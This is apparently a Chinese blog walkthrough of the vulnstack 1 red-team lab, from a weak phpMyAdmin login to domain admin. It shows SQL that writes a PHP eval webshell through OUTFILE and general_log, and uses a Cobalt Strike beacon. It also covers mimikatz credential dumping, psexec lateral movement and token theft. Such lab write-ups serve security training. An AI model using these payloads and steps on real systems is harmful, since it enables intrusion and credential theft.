ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透
关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html
PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机(VM1)->内网渗透域成员主机(VM2)->拿下域管(VM3)的步骤进行渗透
访问VM1:http://192.168.221.143/

收集信息如下:
IP地址:192.168.221.143
主机信息:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
服务器解析引擎:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站绝对路径:C:/phpStudy/WWW
被禁用函数:无
同时底部存在MySQL数据库连接检测:

输入默认账号密码:root/root

证明弱密码存在
根据经验,一般使用phpstudy都会存在phpmyadmin界面,我们可以尝试爆破目录进而通过弱密码控制数据库
使用dirsearch进行目录爆破
python3 dirsearch.py -u http://192.168.221.143/ -e *
如图:

http://192.168.221.143/phpinfo.php 界面敏感信息泄露

http://192.168.221.143/phpmyadmin/ phpmyadmin登录界面

root/root 登录

尝试使用select into outfile写入一句话木马
select load_file('C:/phpStudy/WWW/ma.php');
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/ma.php';
这里的网站路径是之前我们信息搜集时找到的

执行成功,但是在目录下无该文件

换一种姿势写入一句话木马
参考自:https://xz.aliyun.com/t/3283
其中的利用日志写shell
之前的信息搜集我们已知服务器mysql版本>5.0,而mysql5.0以上会创建日志文件,可以通过修改日志的全局变量getshell
步骤为:
检测日志保存状态->开启日志保存->修改日志保存路径->使用一句话木马访问网址->连接日志路径GETSHELL
日志保存状态和日志保存路径需要使用以下命令进行查看:
general_log 指的是日志保存状态,ON代表开启,OFF代表关闭
general_log_file 指的是日志的保存路径
SHOW VARIABLES LIKE 'general%'

可以看出 general_log 是关闭的,实际上该全局变量默认关闭
接着我们开启日志存储,即general_log
set global general_log = "ON";

接着修改日志保存路径(此处路径依然使用之前信息搜集获得的地址):
set global general_log_file='C:/phpStudy/WWW/ma.php';

然后就是通过日志写入一句话木马了,SQL查询:
select '<?php eval($_POST[cmd]);?>';

该查询流量会记录在日志文件里,所以我们访问日志文件 ma.php

可以看到存在我们访问的日志信息,看到有Notice,还是去靶机上面看看日志文件是否正常写入

可以看到一句话木马写入成功,上菜刀!

可以看到WEB目录和备份文件没有扫描出来,dirsearch的字典还是得自己有空再整理一下,beifen.rar很符合国人的命名习惯hhh
接着通过webshell 反弹 shell
关于CS的安装:https://www.cnblogs.com/Cl0ud/p/13709669.html
关于CS的简单使用方法:https://soapffz.com/sec/483.html
为了方便CS后台运行,进入screen


在screen窗口中运行teamserver服务

使用screen窗口中的快捷键 ctrl+ad,令任务后台运行,现在就可以关闭ssh远程连接了,运行客户端CS输入之前的CS服务端IP和密码进行登录,账号随意,只要与已登录的用户不重复即可

点击connect进行连接

小春儿加入群聊 has joined,先新建一个Listener,payload选择beacon http,设置好对应的监听端口

保存后生成一个后门,使用刚才创建的监听器:

生成后在菜刀中上传该文件,并且执行之

就可以看到CS主机已上线

右键选择 interact 进入交互模式,将sleep调为0,这样渗透靶机就能够直接回显结果,真实渗透中一般不要直接调为0,容易被流量监测,默认为60秒

冒着电脑被卡死的风险同时开启三个虚拟机 :D
信息搜集的深度,直接关系到内网渗透测试的成败
进行本机信息搜集:
查看当前权限
shell whoami

显示主机名称
shell hostname

查询用户列表
net user
通过分析分级用户列表,可以找到内网机器的命名规则,特别是个人机器的名称,可以用来推测整个域的用户命名方式
《内网安全攻防》

获取本地管理员(通常包含域用户)信息
net localgroup administrators

使用systeminfo查看系统详细信息
shell systeminfo
补丁信息如下:

域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞
操作系统和系统版本为:

查询进程列表
shell tasklist

常见的杀毒软件的进程为:
| 进程名 | 软件 |
|---|---|
| 360sd.exe | 360 杀毒 |
| 360tray.exe | 360 实时保护 |
| ZhuDongFangYu.exe | 360 主动防御 |
| KSafeTray.exe | 金山卫士 |
| SafeDogUpdateCenter.exe | 安全狗 |
| McAfee | McShield.exe |
| egui.exe | NOD32 |
| AVP.exe | 卡巴斯基 |
| avguard.exe | 小红伞 |
| bdagent.exe | BitDefender |
获得了本机的相关信息之后,就要判断当前内网中是否存在域
之前在systeminfo中,"域"即为域名,如果"域"为"WORKGROUP",则表示当前服务器不在域内:

也可以使用 ipconfig 命令,查看网络信息

得知DNS服务器名称为 god.org,DNS服务器往往与域控制器在同一台服务器上
查看域信息:
shell net view

查看当前登录域及登录用户信息
shell net config workstation
\
"工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境
"登录域"表示当前登录的用户是域用户还是本地用户
继续搜集域内基础信息
查询域
shell net view /domain

查询 GOD域内全部主机:
shell net view /domain:GOD

同时可以在targets里面看到扫描出来的主机

提升本机权限 getsystem
getsystem

获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限)
获取当前计算机中本地用户的密码散列值

使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出

可以看到导出的凭据信息:

同时我们之前在横向探测中已经获取到了其他targets的信息,加上现在获取到的凭证,我们可以尝试利用获取到的凭证+PsExec模块登录其他主机

虽然搭建环境的时候没有搭建成内网的,但是还是创建一个SMB的监听器:
关于 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
SMB Beacon有两种使用方式:
直接派生一个孩子,目的为了进一步盗取hash
在已有的beacon上创建监听,用来作为跳板进行内网渗透
这里我们使用第二种方式,创建SMB监听:

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息
监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

点击launch之后等待一会,就可以获取到域控主机OWA的beacon

在域控主机上继续导出凭据,可以获得整个域内用户的密码散列值
hashdump+logonpasswords


查看已经获取到的凭据

同样的方法获取到ROOT-TVI862UBEH主机的权限

现在的枢纽结构为:

能够使用 psexec 能迅速地获得域控主机的 beacon 是因为在本机中读取到了域管理员账号密码的 hash
接下来在派生的STU1主机上尝试使用token窃取

选择 GOD\Administrator 的 token 盗取:

点击后token会存储在当前会话中
尝试登录ROOT主机

在令牌处勾选当前token

不知道为啥失败了 呜呜呜

等内网渗透熟练了再来复更,暂时就先做到这里趴。
关于CS和MSF的联动会在红日安全靶机2中进行练习

参考链接:
https://soapffz.com/sec/558.html
https://v0w.top/2020/07/19/vulnstack1/
https://www.freebuf.com/column/231111.html
ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透的更多相关文章
- ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署
靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...
- ATT&CK 实战 - 红日安全 vulnstack (二) 环境部署(劝退水文)
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶场简述 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博 ...
- 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二)
一.环境搭建 1.1 靶场下载 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶机通用密码: 1qaz@WSX 1.2 环境配置 ...
- ATT&CK实战系列 红队实战(一)————环境搭建
首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...
- ATT&CK实战系列——红队实战(一)
一.环境搭建 1.环境搭建测试 最近想要开始学习内网渗透,搜集了一些教程,准备先实验一个vulnstack靶机,熟悉一下内网渗透操作再学习基础知识. 靶场下载地址:http://vulnstack.q ...
- ATT&CK实战系列——红队实战(二)
一.环境搭建 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ DC IP:10.10.10.10OS:Windows 2012应用:A ...
- 内网横向渗透 之 ATT&CK系列一 之 信息收集
前言 靶机下载地址:ATT&CK 拓扑图: 通过模拟真实环境搭建的漏洞靶场,完全模拟ATK&CK攻击链路进行搭建,形成完整个闭环.虚拟机默认密码为hongrisec@2019. 环境搭 ...
- ATT&CK如何落地到安全产品
科普:ATT&CK是什么 ATT&CK的提出是为了解决业界对黑客行为.事件的描述不一致.不直观的问题,换句话说它解决了描述黑客行为 (TTP) 的语言和词库,将描述黑客攻击的语言统一化 ...
- 攻击链路识别——CAPEC(共享攻击模式的公共标准)、MAEC(恶意软件行为特征)和ATT&CK(APT攻击链路上的子场景非常细)
结合知识图谱对网络威胁建模分析,并兼容MITRE组织的CAPEC(共享攻击模式的公共标准).MAEC和ATT&CK(APT攻击链路上的子场景非常细)等模型的接入,并从情报中提取关键信息对知识图 ...
随机推荐
- 后端狗的Vue学习历程(一) - demo示例与基本逻辑语法
目录 demo的三部分结构 判断:v-if.v-else-if.v-else 循环:v-for 事件绑定 v-on:eventType 内容输入的双向绑定v-model 源码:Github demo的 ...
- Hadoop2.6伪分布式按照官网指点安装(1)
参考:http://hadoop.apache.org/docs/r2.6.0/hadoop-project-dist/hadoop-common/SingleCluster.html 照抄:安装成功 ...
- AI时代,还不了解大数据?
如果要问最近几年,IT行业哪个技术方向最火?一定属于ABC,即AI + Big Data + Cloud,也就是人工智能.大数据和云计算. 这几年,随着互联网大潮走向低谷,同时传统企业纷纷进行数字化转 ...
- 包装类和基本数据类型(以int和Integer为例)
Java的包装类就是可以直接将简单类型的变量表示为一个类.java共有六个包装类:Integer,Long,Float,Double,Character,Boolean,对应六种基本数据类型. 包装类 ...
- 微软面试题: LeetCode 91. 解码方法 出现次数:3
题目描述: 一条包含字母 A-Z 的消息通过以下方式进行了编码: 'A' -> 1'B' -> 2...'Z' -> 26给定一个只包含数字的非空字符串,请计算解码方法的总数. 示例 ...
- kernel——Makefile, head.S ...
在Makefile中找到的重要信息: (1)连接脚本 通过连接脚本,知道的信息: (1)入口符号 stext (2)入口连接地址 0xC0000000 + 0x00008000 根据入口符号,可以找到 ...
- JAVA SE——集合框架
1.首先根据业务场景选择哪种集合类型. set(无序,并且不包含重复元素),list(有序,并且允许重复元素),map(key-value,)
- linux 图解笔记
- ceph卡在active+remapped状态
最近看到了有人的环境出现了出现了卡在active+remapped状态,并且卡住不动的状态,从pg的状态去看,这个pg值分配了主的pg,没有分配到副本的osd,集群的其他设置一切正常 这个从网上搜寻到 ...
- 深入学习synchronized
synchronized 并发编程中的三个问题: 可见性(Visibility) 是指一个线程对共享变量进行修改,另一个先立即得到修改后的最新值. 代码演示: public class Test01V ...